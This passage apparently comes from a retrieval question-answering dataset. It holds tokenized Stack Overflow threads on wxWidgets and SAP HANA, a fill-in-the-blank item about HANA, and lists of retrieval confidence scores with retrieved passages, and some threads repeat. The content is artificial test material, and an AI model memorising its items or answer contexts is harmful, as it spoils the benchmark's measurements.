--with-mac-osx-version-min 10.x --with-cocoa and ended up with two similar errors : cannot initialize a variable of type WebBackForwardList with an rvalue of type WKBackForwardList and the log : make : webviewdll osx webview webkit.o Error 1", "Question : I m just getting started on a project with wxWidgets and I m trying to set up a Bakefile for cross-platform compilation . I need to pass the output of wx-config --libs and wx-config --cxxflags to the compiler . How can I accomplish this I cannot find anything in the Bakefile docs about getting the output of a command into a variable . Backticks don t seem to work : .. . Answer : You need to use quotes here i.e . For the reference here is what I do in my own bakefiles : .. . .. . This allows to do things like make WX CONFIG full path to wx-config which is handy when using an uninstalled version of wxWidgets .", "Question : Im sorry to ask this question again . I have searched and found endles repeats of it both on stackoverflow and also on general google-search . Unfortunatly I just cant get my system sorted . I have the following : .. . .. . this folder contains the wx folder and also wx wxPython folders which each contain the init .py files .. . .. . When I import wx I get the error message no module named wx .. . .. . What do I need to do in order to get Python to find the relevant files to allow me to import wx succesfully Comment : When I import wx I get the error message - where are you doing the import step i.e . please provide more details and are you sure that you re using Python2.7 when you do the import I m wondering if your default Python is another version Comment : I have been running that code on the IDLE Python GUI import wx Traceback most recent call last : File pyshell 10 line 1 in module import wx ImportError : No module named wx Comment : My Python Version is 2.7.2 Comment : Ops what you describe is the correct setup.. . It should work.. . Did you installed from a binary from the official wxpython site What was the name of if A different question can you import wx from a python shell open in the windows console instead of from idle . Comment : You know I have the least idea of why is now working and not before . Maybe you didnt restarted idle after installing wx um.. . .. . Answer : You may check if you have the directory where are the packages of Python in my machine this dir is C : Python27 lib site-packages in the Path variable on Windows . If Python s path environment variable does not have this directory you will not find the packages . Comment : Sorry I ve badly read the question . I can t undo now unless you edit it... .", "Question : I ve been watching Michael Ossmann s video guides on SDR on Great Scott Gadgets . In his videos he hovers over the TTF sink which displays frequencies power and TTF . If I do this on OS X I don t get this yellow popup - besides the fact that my TTF sink looks differently . Is this a setting in gnuradio or might it be an OS X issue I m running gnuradio 3.7.9.1 . Screenshot from the video : His http : i.stack.imgur.com pPV7w.jpg .. . .. . Screenshot from my application : Mine http : i.stack.imgur.com 55NF0.png .. . .. . EDIT : It appears that installing pyopengl solves this as WX is falling back to something . Install it using pip install pyopengl and restart gnuradio . With pyopengl http : i.stack.imgur.com NHDJg.png .. . Answer : It s a bit hard to say what goes wrong with the graphical sink in your case . However what I d propose : .. . .. . Abandon the WX GUI sinks in favor of the Qt GUI sinks you will have to change from WX to the QT build option in the option block and replace your sinks with their QT equivalent . WX is barely still maintained and might will be removed from GNU Radio at some point the QT GUI sinks are just more effective more portable and have cool features try the middle-mouse-button menu . In case of a Frequency Plot things would look something like : QT GUI frequency sink at work http : i.stack.imgur.com X6QEI.png Comment : Thank you . I think you might be right in regards to WX being the issue . I replicated what I see in the video on Linux but on OS X WX behaves differently maybe a version thing not sure .", "Question : Im sorry to ask this question again . I have searched and found endles repeats of it both on stackoverflow and also on general google-search . Unfortunatly I just cant get my system sorted . I have the following : .. . .. . this folder contains the wx folder and also wx wxPython folders which each contain the init .py files .. . .. . When I import wx I get the error message no module named wx .. . .. . What do I need to do in order to get Python to find the relevant files to allow me to import wx succesfully Comment : When I import wx I get the error message - where are you doing the import step i.e . please provide more details and are you sure that you re using Python2.7 when you do the import I m wondering if your default Python is another version Comment : I have been running that code on the IDLE Python GUI import wx Traceback most recent call last : File pyshell 10 line 1 in module import wx ImportError : No module named wx Comment : My Python Version is 2.7.2 Comment : Ops what you describe is the correct setup.. . It should work.. . Did you installed from a binary from the official wxpython site What was the name of if A different question can you import wx from a python shell open in the windows console instead of from idle . Comment : You know I have the least idea of why is now working and not before . Maybe you didnt restarted idle after installing wx um.. . .. . Answer : 1 . Go to C : Python27 Lib site-packages find the folder wx- version -msw or similar .. . 2 . Move the wx from the above folder to C : Python27 Lib site-packages", "Question : I am trying to register a global hotkey using wxruby on Windows 7 . But I obtain this error message : .. . .. . NoMethodError : undefined method register hot key for Wx : : Frame : 0x38bfd70 .. . .. . Wx : : Frame inherits from Wx : : Window so I would expect that method to be there . Any ideas on why this doesn not work Am I doing something wrong I am using wxruby 2.0.1 x86-mingw32 . .. . Answer : Change your call to frame.RegisterHotKey and it might find it Comment : Steve unfortunately the error persists . Please tell me what can be done wxruby-ruby19-2.0.1-x86-mingw32 lib wx accessors.rb : 50 : in method-missing : undefined method RegisterHotKey for Wx : : Frame : 0x2b15d70 NoMethodError", "Question : Im sorry to ask this question again . I have searched and found endles repeats of it both on stackoverflow and also on general google-search . Unfortunatly I just cant get my system sorted . I have the following : .. . .. . this folder contains the wx folder and also wx wxPython folders which each contain the init .py files .. . .. . When I import wx I get the error message no module named wx .. . .. . What do I need to do in order to get Python to find the relevant files to allow me to import wx succesfully Comment : When I import wx I get the error message - where are you doing the import step i.e . please provide more details and are you sure that you re using Python2.7 when you do the import I m wondering if your default Python is another version Comment : I have been running that code on the IDLE Python GUI import wx Traceback most recent call last : File pyshell 10 line 1 in module import wx ImportError : No module named wx Comment : My Python Version is 2.7.2 Comment : Ops what you describe is the correct setup.. . It should work.. . Did you installed from a binary from the official wxpython site What was the name of if A different question can you import wx from a python shell open in the windows console instead of from idle . Comment : You know I have the least idea of why is now working and not before . Maybe you didnt restarted idle after installing wx um.. . .. . Answer : Ubuntu : Comment : he uses windows not ubuntu debian", "Question : I cannot seem to call UltimateListCtrl.ScreenToClient pos . I keep getting a type error . I enter a tuple of x y and I get .. . .. . I enter x y individually and I get .. . .. . Any help Is this a problem with UltimateListControl Is there an easy work around Thanks .. . Answer : I believe this is a problem in the UltimateListCtrl . Fortunately there is a fairly straightforward fix . Find the ultimatelistctrl.py file that the UltimateListCtrl is loaded from find the ScreenToClient method within this and replace the line .. . .. . with .. . .. . The full path of the ultimatelistctrl.py file should be in the exception traceback when you specify x and y individually . On my machine it s C : Python27 lib site-packages wx-2.9.3-msw wx lib agw ultimatelistctrl.py . The traceback also mentions the line number of the line in this method in my case 12457 . I d recommend making the same change to the ClientToScreen method in the ultimatelistctrl.py file as it has the same problem . Comment : If the solution is that simple why hasn t the change been pushed through Also what is the best way to make that change but still have a program to be portable from one machine to another without modifying the wx package Comment : @Shatners : you can try using the ScreenToClientXY and ClientToScreenXY methods which I wasn t previously aware of until I came across this issue on the wxWidgets bug tracker http : trac.wxwidgets.org ticket 13938 . Alternatively you can create a subclass of UltimateListCtrl and override the methods .", "Question : I m compiling a Code : : Blocks plugin . Due to incompatibilites with wxWidgets 3.0 Code : : Blocks is compiled against wxWidgets 2.8 . The CMakeLists.txt for the plugin is : .. . .. . This find wxgtk 3.0 which causes some problems . I m using Arch so I can t only remove the development package for wxgtk 3.0 - the headers are already bundled . How can I force wxgtk 2.x in CMake .. . Answer : Well I once try to make a compatible 2.x 3.x wxWidgets series...I never found out if it worked...so tell me if this work as expected : Comment : It s enough to do set TOOLKIT VERSION NEED 2.8 set wxWidgets CONFIG OPTIONS --version TOOLKIT VERSION NEED Thanks Comment : oh so it does work...good : D Comment : And it works even if we change the name TOOLKIT VERSION NEED Comment : Well that variable is made by me...but I mean do you have a mixed wx 2.x 3.x series installed Comment : Yes I m using Arch with both wxgtk and wxgtk2.8 in here .", "Question : It s basically the same as this one http : stackoverflow.com questions 32689670 alienwxwidgets-install-fails-on-osx10-10 which didn t really ended up . I m facing the same issue and I went a bit further . I had to change the code to allow a newer Macos sdk 10.11 . So it compiled for a while but then failed whith this : .. . .. . The weird thing is when I checked the config logs : This one . wxWidgets-3.0.2 bld src tiff config.log has other errors than lzma for instance : .. . .. . See the full version http : pastebin.com raw qwNLm8GF . Ans it s more or less the same with . wxWidgets-3.0.2 bld config.log . When I changed the code to allow os10.10 SDK it was previously expecting up to 10.8 or maybe 10.9 . I suppose the whole issue comes now from this . Should I try to fetch an old MacOS SDK Basically I just want to compile Slic3r --gui from source which requires Wx which requires wxwidgets . Comment : And here is the full . wxWidgets-3.0.2 bld config.log : pastebin.com raw 6d3zBSbj http : pastebin.com raw 6d3zBSbj Comment : weird can you try to compile wxWidgets by hand i.e . without automation Just do . . configure make make install . .. . Answer : The problem here is that libtiff configure detects lzma.h under usr local because it doesn t use -isysroot but its compilation does because of the SDK option and fails to find it . The right thing to do would be to use -I usr local include explicitly in wxWidgets configure but for now you should be able to work around this by doing export CPATH usr local include LIBRARY PATH usr local lib to bypass it . Alternatively and IMHO preferably do brew install tiff jpeg png not sure that the formulae names are correct please check them to avoid building the builtin versions of these libraries in the first place .", "Question : I ve been trying to figure out how I can make staticText elements resize to fit their contents with wxHaskell . From what I can tell this is the default behavior in wxWidgets but the wxHaskell wrapper specifically disables this behavior . However the library code that creates new elements has me very confused . Can anyone provide an explanation for what this code does I know that feed2 x y f f x y and that the type signature of initialWindow is .. . .. . and the signature of initialText is .. . .. . but I just can t wrap my head around all the lambdas . .. . Answer : The WX library which I have not used seems to use a strange callback or continuation passing style internally . And this shadows props in a confusing way let me rename that sucker : .. . .. . Without I can use parenthesis : .. . .. . staticText2 : : Window a - Prop StaticText - IO StaticText staticText2 parent propsTopLevel feed2 propsTopLevel 0 initialWindow id rect - initialText txt - propsParam flags - do t - staticTextCreate parent id txt rect flags set t props return t .. . .. . The lambdas such as text - props flags - can be named : .. . .. . In the staticText3 I used nested lexical scope for the parameter name . Let me make that a bit more explicit : .. . .. . Is this clear enough to follow the flow I have not tried to understand the initialWindow and initialText themselves yet ." ] }
[ "yes-answer-long", "yes-answer-short" ]
linux
UNK_RELATION
hana@database@54
hana -- hana is sap se s implementation of in-memory @placeholder technology .
{ "confidence": [ 53.07514953613281, 51.6818962097168, 49.542964935302734, 49.3570671081543, 47.871334075927734, 47.871334075927734, 47.64995193481445, 47.240909576416016, 47.04167938232422, 45.85581970214844, 45.33066177368164, 45.29359817504883, 45.282474517822266, 45.241493225097656, 44.7540397644043, 44.60745620727539, 44.46095657348633, 44.46095657348633, 44.46095657348633, 44.31367492675781, 43.97488784790039, 43.97488784790039, 43.97488784790039, 43.66355514526367, 43.49580383300781, 43.49580383300781, 42.580657958984375, 42.57353973388672, 42.28915786743164, 42.28915786743164, 42.27192687988281, 42.2291259765625, 42.13344192504883, 42.000972747802734, 42.000972747802734, 42.000972747802734, 42.000972747802734, 42.000972747802734, 42.000972747802734, 41.88954162597656, 41.476295471191406, 41.44965362548828, 41.29841613769531, 41.00929260253906, 41.00929260253906, 41.00929260253906, 41.00929260253906, 41.00929260253906, 41.00929260253906, 40.79432678222656, 40.79432678222656, 40.38016891479492, 40.113555908203125, 40.01954650878906, 39.96566390991211, 39.964900970458984, 39.87355422973633, 39.82982635498047, 39.82073974609375, 39.82073974609375, 39.82073974609375, 39.82073974609375, 39.82073974609375, 39.82073974609375, 39.80264663696289, 39.793209075927734, 39.77180862426758, 39.624942779541016, 39.624019622802734, 39.109535217285156, 39.03704071044922, 39.02899169921875, 38.93132781982422, 38.885337829589844, 38.885337829589844, 38.885337829589844, 38.885337829589844, 38.884429931640625, 38.86534881591797, 38.86534881591797, 38.86534881591797, 38.83099365234375, 38.83099365234375, 38.81190490722656, 38.81190490722656, 38.78790283203125, 38.78790283203125, 38.61409378051758, 38.59489822387695, 38.54249572753906, 38.426509857177734, 38.426509857177734, 38.426509857177734, 38.25320816040039, 38.0718879699707, 37.93332290649414, 37.90019607543945, 37.90019607543945, 37.90019607543945 ], "content": [ "The SAP HANA administration guidelines http : help.sap.com hana SAP HANA Administration Guide en.pdf confirm this assumption .", "I m facing an issue on SAP Hana .", "I am sure SAP HANA is wiser than that .", "I want to access a table which is already present in SAP HANA from the Spark-shell using SAP HANA Vora .", "I am a newbie for SAP I am using SAP HANA Studio .", "Have projects of SAP UI 5 MVC SAP HANA XS .", "And what does that have to do with SAP HANA", "Also database vendors have moved to in-memory SAP Hana .", "I m new in the sap hana world .", "While following a simple tutorial from Creating an SAP HANA XS Application https : help.hana.ondemand.com help frameset.htm 3762b229a4074fc59ac6a9ee7404f8c9.html on my HCP with adding cloud server in HANA Studio before it I have created a HANA Multitenant database using WebIDE of SAP HANA .", "I am working on a implementation that requires UnlimitedJCEPolicyJDK8 for SAP hana cloud platform .", "The hana : : set and hana : : map representations are implementation-defined .", "@AKB you probably want hana : : contains which returns hana : : true or hana : : false or hana : : find which returns hana : : just .. . or hana : : nothing .", "Do you use the SAP Web IDE for SAP HANA development XS apps HANA tables hdbtable .. . or the SAP Web IDE for creating SAPUI5 apps", "http : www.dwknight.com sap etl-sap-hana-microsoft-ssis .. . .. . EDIT - Link is broken - here is an archive link https : web.archive.org web 20150111100114 http : www.dwknight.com sap etl-sap-hana-microsoft-ssis", "In the SAP HANA developer guide SPS 07 it also says that the OData implementation in SAP HANA XS supports only those SQL types listed in the mentioned list table .", "I am getting an error while creating function in SAP HANA Studio .", "No you seem to have tried it with a too old SAP HANA release .", "This is not possible in SAP Hana as the .procedure artifact is now depricated and there would be no support for this artifact .", "using MyMap decltype hana : : make map .. . hana : : make pair hana : : type c int 2 .. . hana : : make pair hana : : type c char const hi .. . hana : : make pair hana : : type c double 3.0 .. . .. . .. . .. . 2 .", "The SAP HANA ODBC driver is not an OLEDB driver .", "I have a SAP HANA procedures to update a table .", "Hi Sameer I m using SAP HANA database .", "I d like to use hana : : zip on a hana : : tuple and hana : : range c but hana : : range c is not considered a Sequence which is a requirement for hana : : zip .", "I can see the table in SAP HANA Studio in spark velocity folder .", "The author of the blogpost found a way to connect SSIS with SAP HANA .", "Everything in SAP HANA Cloud Connector shows Green .", "Are you talking about the HANA Cloud Portal or the HANA Cloud Platform", "With the HANA datasource com.sap.spark.hana you can either query existing tables in HANA or create new tables in HANA .", "The HANA datasource uses the HANA jdbc driver to connect to HANA - the current client default setting is distribution ALL .", "With HANA Studio", "I recommend to use the SAP Community Network SCN https : scn.sap.com community hana-in-memory community for this kind of question .", "I believe you need your hana : : hash hana : : first new pair hana : : hash hana : : first p test to be hana : : equal hana : : first new pair hana : : first p .", "There s no special video or streaming data type available in SAP HANA .", "Why the error is only raised while it is getting extracted from SAP HANA .", "The link SAP HANA Vora Developer Edition on AWS is valid here .", "Sorry but i m using SAP hana environment and concat group is not available in that", "My database Sap Hana db is not supported for Spring Batch .", "Using MDX is one of several options to query SAP HANA information models .", "auto x hana : : tuple t int char .. . ...is equivalent to.. . .. . auto x hana : : make tuple hana : : type c int hana : : type c char .. . .. . .. . hana : : type c http : boostorg.github.io hana structboost 1 1hana 1 1type.html ae35139e732c4b75e91061513cf445628 objects wrap types into values .", "There is a good article published here how to setup HANA google for sap hana saml : http : scn.sap.com community developer-center hana blog 2015 03 14 use-saml-to-enable-sso-for-your-xs-app-on-sap-hana-sps-09-rev-92-or-later", "hana : : equal hana : : int c 1 hana : : long c 1 which returns hana : : true c .", "The setting for this can be found in .. . .. . Preferences - SAP HANA - Modeler - Validation Rules - Content - Naming Convention Check .. . .. . Generally this check is not used all that much anymore as it only applies to activations done via SAP HANA Studio Modeler .", "Currently I am trying to perform a twitter analysis with SAP Hana .", "Is it possible for customers to add new fields columns to SAP delivered HANA tables", "we have a problem with connection from Oracle to SAP HANA by Oracle Gateway .", "I started a new application on the SAP HANA Cloud platform .", "The following SQL statement creates an error : .. . .. . This is the error output .. . .. . Database is SAP HANA", "The problem was that SAP HANA creates automatically an index for columns with data-type TEXT .", "Hana provides a unary plus operator on hana : : type that decays any ref-qualified hana : : type to a rvalue .", "Also I chose to use hana : : to hana : : tuple tag hana : : range c size-t 0 sizeof.. . T for those interested .", "Otherwise use hana : : cartesian-product .", "First .. . .. . is redundant because you re already creating a hana : : tuple with hana : : tuple t .", "Or is this a limitation of hana", "I m using SAP HANA together with R . I use the cSPADE implementation in R and therefore load the data into a temporary file .", "You are redirected to sap hana-xs formLogin login.html where you will login as a HANA user .. . You are redirected back to some app index.html now authenticated as the user you logged in as .", "I am trying to make an instance of SAP HANA developer edition 1.0 Rev 80 in SAP CAL .", "I am using HANA 1.00.102.05.1455873859 with HANA Studio 2.1.20", "I m load-testing SAP ERP on hana with rational performance tester .", "1 What does SAP HANA application means here", "The XS app has no authentication set in .xsaccess file in SAP HANA .", "To the single questions : .. . .. . 1 What does SAP HANA application means here", "But the xs app asks for the credentials again sap hana db credentials .", "I have problems to succeed the configuration of sap hana and python .", "This will work : .. . .. . .. . .. . Explanation : .. . .. . hana : : tuple t xs.. . http : boostorg.github.io hana structboost 1 1hana 1 1tuple.html aea7b637fbc34b451bd1cef82f1b64b6a is shorthand notation for a tuple of hana : : type c objects .", "I am trying to create some xsodata services using SAP Hana XS Engine .", "While creating database in SAP WebIDE it asked only for password username I used to login was SYSTEM upon clicking on SAP HANA Cockpit .", "3rd party resources on SAP software SAP HANA no exception tend to just copy from SAP docs and SCN .", "if you use the new SDK from the SAP HANA Cloud Platform you no longer have a changing password .", "Edit : Apart from that this solution looks fine for hana : : tuple s but not for general hana : : Sequence s .", "From the SAP HANA Developer Guide http : help.sap.com hana SAP HANA Developer Guide for SAP HANA Studio en.pdf : .. . .. . By default all entity sets and associations in an OData service are writeable that is they can be modified with a CREATE UPDATE or DELETE requests .", "It is interesting that Hana has the concept of Iterable but not iterator s .", "Then I tried to run the code mentioned in this article : scn sap com community developer-center hana blog 2012 06 08 sap-hana-and-python-yes-sir in the square underneath Connect to SAP HANA and Run SQL Queries using Python : .. . .. . But then I also got the message : dbapi not found .", "Therefore the use of hana .", "Your work on hana is brilliant", "What s the hana way of accomplishing this", "Having fun with boost : : hana .", "Just to clarify do you want a hana : : tuple int bool std : : string or a hana : : tuple hana : : type int hana : : type bool hana : : type std : : string .", "I hava a SAP HANA XS Server with some DB Tables and an OData service .", "According to the SAP HANA SQL Script Reference SPS 07 using DDL and DML within a table function is not allowed .", "I just copy pasted it again into SAP HANA studio and the Web Based Development Workbench and ran it as it is .. . no error whatsoever .", "hana : : replace if .", "Not even with hana .", "https : help.hana.ondemand.com webide frameset.htm 2a11c8d3a9e74ca98861c3db5794042b.html .. . .. . For SAP HANA Web IDE the code is stored inside a SAP HANA repository but I don t know any further details .", "Thanks Denise I assume when you say SAP Web IDE for HANA development its the same as development inside the SAP HANA Web-based Development Workbench .", "Please check hosts-file on HANA .", "making the Vora hostsnames known to HANA", "hana : : tuple t T.. . is specified as being functionally equivalent to hana : : make tuple hana : : type T .. . except with a potentially different type .", "When you write detail : : has foo type c bar type c T Hana passes the hana : : type c s as-is to detail : : has foo .", "I have an XSJS page served by HANA .", "SAP Hana Cloud Connector Seetings http : i.stack.imgur.com Z3StJ.png .. . .. .", "It is very clearly stated that you have to have a SAP HANA account", "ok I also do not see SAP Hana it is reported .", "The hana : : basic tuple documentation http : boostorg.github.io hana structboost 1 1hana 1 1basic tuple.html notes : .. . .. . .. . hana : : tuple aims to provide an interface somewhat close to a std : : tuple .. . .. . .. . .. . .. . As to why hana : : set and hana : : map s representations are implementation-defined consider reading the FAQ http : boostorg.github.io hana index.html tutorial-rationales-container representation but in short : .. . .. . allows more flexibility to implement compile-time and runtime optimizations .. . knowing the type is usually not very useful .. . .. . .. . .. . There is a github issue https : github.com boostorg hana issues 197 to consider adding a default-constructor for hana : : map .", "I just found the Orion API https : scn.sap.com community developer-center hana blog 2014 12 10 sap-hana-sps-09-new-developer-features-rest-api", "The problem with hana : : erase key is that you will be creating a new map and then again with hana : : insert .", "In SAP HANA Vora 1.2 Dev Edition : I ve configured the Spark Controller and started server .", "In SAP HANA Studio i can see now folder spark velocity and table001 in it which I created .", "note : I am writing this SQL on SAP HANA system database using SQL syntax ." ] }
{ "confidence": [ 59.16532516479492, 58.15709686279297, 57.986053466796875, 57.691368103027344, 57.338802337646484, 57.3001823425293, 57.17964172363281, 56.913047790527344, 56.84123611450195, 56.703269958496094, 56.701751708984375, 56.52838134765625, 56.19868469238281, 55.84225845336914, 55.4052848815918, 55.071407318115234, 54.79251480102539, 54.74617385864258, 54.52201843261719, 54.10621643066406 ], "content": [ "Question : Does anyone know if it s possible to use SSIS 2012 to import data into or out of SAP HANA I ve looked online and can t seem to find much about the two working together . I know that SAP Data Services is the recommended ETL tool for HANA but we d like to try and use SSIS if possible . Comment : Based on this article http : scn.sap.com community developer-center hana blog 2012 09 12 and-along-came-net it sounds like .NET can work with HANA just fine . The query itself looked like normal SQL so find the right provider and away you go .. . Answer : I ve just found a nice article to this question . The author of the blogpost found a way to connect SSIS with SAP HANA . He used ODBC to solve this problem . http : www.dwknight.com sap etl-sap-hana-microsoft-ssis .. . .. . EDIT - Link is broken - here is an archive link https : web.archive.org web 20150111100114 http : www.dwknight.com sap etl-sap-hana-microsoft-ssis", "Question : I have problems to succeed the configuration of sap hana and python . The data I need is located in sap hana and I want to do some analysis with python . My description may seem a little bit stupid but I only learned how to do analyses with python and I have absolutely no knowledge about installations and computers . In article saphanatutorial com sap-hana-and-python .. . .. . there is a description of how you should do this . I copied the files init .py dbapi.py and resultrow.py to the Lib folder in hdbclient . I also copied the files pyhdbcli.pdb and pyhdbcli.pyd to the python lib folder . Then I used spyder came with Anaconda as editor and I run .. . .. . Test Python HANA.py import dbapi .. . .. . conn dbapi.connect ecX-XX-XX-XXX-XXX.compute-1.amazonaws.com 30015 SYSTEM manager .. . .. . print conn.isconnected .. . .. . As described in the article on internet . but then there is a message : dbapi is not found . Then I tried to run the code mentioned in this article : scn sap com community developer-center hana blog 2012 06 08 sap-hana-and-python-yes-sir in the square underneath Connect to SAP HANA and Run SQL Queries using Python : .. . .. . But then I also got the message : dbapi not found . Then I saw that the python in hdbclient is python-2.6 but i need 2.7 so i erased the python26 folder in the hdbclient folder because I didn t saw it in my programs screen where I could uninstall it and I moved the python27 folder to the hdbclient folder and I copied the folders that I mentioned before again in the python folder . Then of course the same message . But the dbapi.py is in the hdbclient folder so I thought if I put the script in the same folder maybe I don t get that message . But it still says that dbapi.py is not found while it is in the same folder . And later I saw that Anaconda also installed an extra python.exe while there is only 1 visible in my programs if I look in my computer . Anaconda worked so I thought maybe it doensn t work because there are 2 python.exe see picture . So I tried to change the path I m not sure if I did it right : in the right top of Spyder there is a path and the description is : this is the working directory for newly opened consoles for the file explorer for the plugins and for new files created in the editor and I did go the the python27 folder in hdbclient and clicked on python.exe . But this didn t work either . This story maybe sounds a little bit like a mess and that is true because it also is I have no idea what to do . I just want to open a python editor I don t care which one load the data that is stored in sap hana and start with my analysis . But I don t understand the installation configuration process . I hope someone can and wants to help me . picture of the python files http : i.stack.imgur.com nsBVp.png Comment : I m sorry the links in the message are with 2 dots and from then on are all the white spaces but I could only ad 1 link because I m new here .. . Answer : 3rd party resources on SAP software SAP HANA no exception tend to just copy from SAP docs and SCN . While the SAP docs are maintained and updated to advancing technology and new SPS s these copies are often left abandoned making search for up to-date information a mess . In the case of Python-HANA-interfacing you might want to go to the sources and find the most recent adapter on GitHub : https : github.com SAP PyHDB This is reported https : github.com SAP PyHDB blob master setup.py to work on all recent Python versions so it will perfectly integrate with your Anaconda setup . But even this does not leave you without need for a sound knowledge about Python http : www.diveintopython.net", "Question : null .. . Answer : While following a simple tutorial from Creating an SAP HANA XS Application https : help.hana.ondemand.com help frameset.htm 3762b229a4074fc59ac6a9ee7404f8c9.html on my HCP with adding cloud server in HANA Studio before it I have created a HANA Multitenant database using WebIDE of SAP HANA . I am having a error activating this particular file as It is suggested to use the filename with extension in the tutorial but when I save this file without extension I don t get any error related to activation but something different while calling the procedure .. . .. . Here I am not sure about my Cloud user ID if it is p1234567890trial or p1234567890 but in both cases it does not work . While creating database in SAP WebIDE it asked only for password username I used to login was SYSTEM upon clicking on SAP HANA Cockpit . enter image description here http : i.stack.imgur.com g1ljh.png .. . .. . Her is my studio screen shot . enter image description here http : i.stack.imgur.com PoIhQ.png .. . .. . Please advice", "Question : I have created a SAPUI5 application using the web-ide in sap HANA cloud platform . I understand that html5 application when created creates a GIT repository but it would be unusable until it is manually initlialized . I don t see a HANA Repository tab section in the web-ide as well . So where actually are all the resources stored Thanks in Advance . .. . Answer : Do you use the SAP Web IDE for SAP HANA development XS apps HANA tables hdbtable .. . or the SAP Web IDE for creating SAPUI5 apps In the SAP Web IDE for creating SAPUI5 apps your source code is stored in an Eclipse Orion workspace in the cloud as soon as your app gets deployed to HCP it gets git possiblities or you can manually initialize it as a git repository as you stated . https : help.hana.ondemand.com webide frameset.htm 2a11c8d3a9e74ca98861c3db5794042b.html .. . .. . For SAP HANA Web IDE the code is stored inside a SAP HANA repository but I don t know any further details . Comment : Thanks Denise I assume when you say SAP Web IDE for HANA development its the same as development inside the SAP HANA Web-based Development Workbench . I use the web ide for developing SAPUI5 apps . Is there a way I can see access this workspace as in any link that takes me to this repository", "Question : I am trying to make an instance of SAP HANA developer edition 1.0 Rev 80 in SAP CAL . When the instance is processing i receive the following error : .. . .. . Operation Start failed on step CreateDeploymentAction with message : BadRequest : The subscription policy limit for resource type cores count was exceeded . The limit for resource type cores count is 2 per subscription the current count is 0 and the requested increment is 8 . Now I am following this guide : http : azure.microsoft.com blog 2014 07 22 step-by-step-guide-for-deployment-of-sap-hana-developer-edition-on-microsoft-azure and it is at figure 19 where it happens . I already tried contacting SAP Support but they couldn t help me any further so I hope someone here can . Thanks in advance . .. . Answer : SAP Hana requires 8 cores 56 GB memory for it to create an instance on Azure the error message that you have indicates that your azure acccount does not have the specific number of cores to create the instance . You can go through this document http : scn.sap.com docs DOC-28294 for a thorough explanation on creating your sap hana instance on azure i.e after you free up the cores .", "Question : I m using the database tunnel https : help.hana.ondemand.com help frameset.htm 2a795b95e44c42d08c446893a07921db.html from the SDK of the HANA Cloud Platform to connect to a HANA instance in the cloud . This works fine for the first connection but I m having a problem when trying to reconnect after having closed and re-opened the tunnel : The tunnel generates a new password for the same database user each time is is opened but the HANA studio doesn t prompt me for a password when I select Log On in the systems view . Apparently the studio remembers the previous password and retries that incorrect password until my user is locked : After a while the system is annotated with a red marker and the status text says .. . .. . You have reached the maximum number of invalid password entry attempts . User is locked until .. . I haven t selected the option Store user name and password in secure storage but this probably means that the HANA Studio remembers the password until it is restarted . The SAP HANA administration guidelines http : help.sap.com hana SAP HANA Administration Guide en.pdf confirm this assumption . So but how do I get out of this situation How can I unlock my user And how can I avoid locking it in the future maybe without having to restart the HANA studio every time I re-open the tunnel .. . Answer : if you use the new SDK from the SAP HANA Cloud Platform you no longer have a changing password . Once you open the tunnel you ll get an initial password for your HANA instance in the cloud . After changing it to your needs you can always use that database password to connect your HANA Studio to the HANA instance on your account . But be aware that you have always 2 passwords . The one you use to create the tunnel and the other one that you use in your HANA Studio to connect to your HANA instance in the cloud . Get the new SDK at https : tools.hana.ondemand.com cloud .. . .. . Hope this helps . Best Rui .. . .. . PS : We ll be repeating the free online course Introduction to SAP HANA Cloud Platform https : open.sap.com course hanacloud1 around April May this year . In week 2 and 3 of that course you ll also learn how the new tunnel works .", "Question : I m new at HANA Studio so please excuse me . I am getting an error while creating function in SAP HANA Studio . Here s my function : .. . .. . error : .. . .. . Could not execute CREATE FUNCTION PAYROLLDBTEST .GetAbsenteeismDays -- Add the parameters for the function here .. . in 2 ms 807 s . SAP DBTech JDBC : 257 at 576 : sql syntax-error : incorrect syntax near RETURNS : line 23 col 1 at pos 576 .. . Answer : The downside of @hoffman s solution is that you can t use a PROCEDURE in a projection like a WHERE -part of a query : .. . .. . gives .. . .. . From HANA 11 on scalar functions do support SQL so there is no need to use PROCEDURE s here any more see https : scn.sap.com thread 3861611 .. . .. . happy", "Question : In SAP HANA Vora 1.2 Dev Edition : I ve configured the Spark Controller and started server . Then I run the spark-shell and created a new table . In SAP HANA Studio i can see now folder spark velocity and table001 in it which I created . When I try to add this table my HANA folder with Add as Virtual Table option I receive an error : .. . .. . SAP DBTech JDBC : 476 : invalid remote object name : Unable to retrieve remote metadata for SparkSQL.spark velocity.SparkSQL.spark velocity.table001 : line 0 col 0 at pos 0 .. . .. . And here is full Exception : .. . Answer : I have seen this issue when incompatible versions were used . With Vora 1.2 you need Spark Controller 1.5 Patch 5 HANASPARKCTRL00P 5-70001262.RPM and HANA SPS11 . Also make sure to configure the Spark Controller with the Vora1.2 datasources jar spark-sap-datasources-1.2.33-assembly.jar .", "Question : In the SAP HANA developer guide there is a list explaining SQL - EDM Type mapping .. . .. . Missing is how to map from a SQL Type to Edm.Boolean anyone know how .. . Answer : In the SAP HANA developer guide SPS 07 it also says that the OData implementation in SAP HANA XS supports only those SQL types listed in the mentioned list table . Therefore Edm.Boolean is not supported . A workaround could be to use Edm.Byte instead of Edm.Boolean which is mapped to the TinyInt HANA SQL Type . If you only want to have a true false or 0 1 value I think the TinyInt SQL Type is the closest you can get to a Boolean . Comment : thanks - I get that the SQL Types are predefined in ABAP and other techniques you can change the default Edm mappings via config thought there may have been something similar would be handy Comment : I had the same thought about using 0 1 then i remembered in js x 0 x true I know x false but want something that works out of the box Comment : @Jasper 07 so in the end - did it solve your problem In case yes would be happy if you mark it as answered : Thanks", "Question : Is there a way to load balance hana servers in a Vora-Hana table that was made with .. . USING com.sap.spark.hana In the OPTIONS section host is specified is it possible to have this point to multiple HANA hosts such as host hana1 hana2 hana3 . for example a 3+1 cluster 3 active 1 standby . .. . Answer : Workload distribution of queries can be handled via HANA s statement routing mechanism see SAP Note 2079372 - SAP HANA - Statement Routing http : service.sap.com sap support notes 2079372 parameter in indexserver.ini - distribution - client distribution mode off connection statement all . The HANA datasource uses the HANA jdbc driver to connect to HANA - the current client default setting is distribution ALL . By changing the parameter on the HANA side either a round-robin distribution or statement routing should be possible . Comment : It is more If I have hana1 as a host in an application and that server goes down on the HANA side If I run the job when it is down does that keep that job from running . So the multiple hosts list would be more like Data Services where if one is down it will use the other to communicate to HANA . Comment : NVM I understand what you mean Comment : The original question was for load-balancing on the HANA side . This is different from HA failover in case of failures . There is currently no HA failover support in the HANA datasource . Comment : Ok . I just was wondering if I required to add logic into my job are if it was already handled through the statement . Either or to me . Thank You", "Question : I want to access a table which is already present in SAP 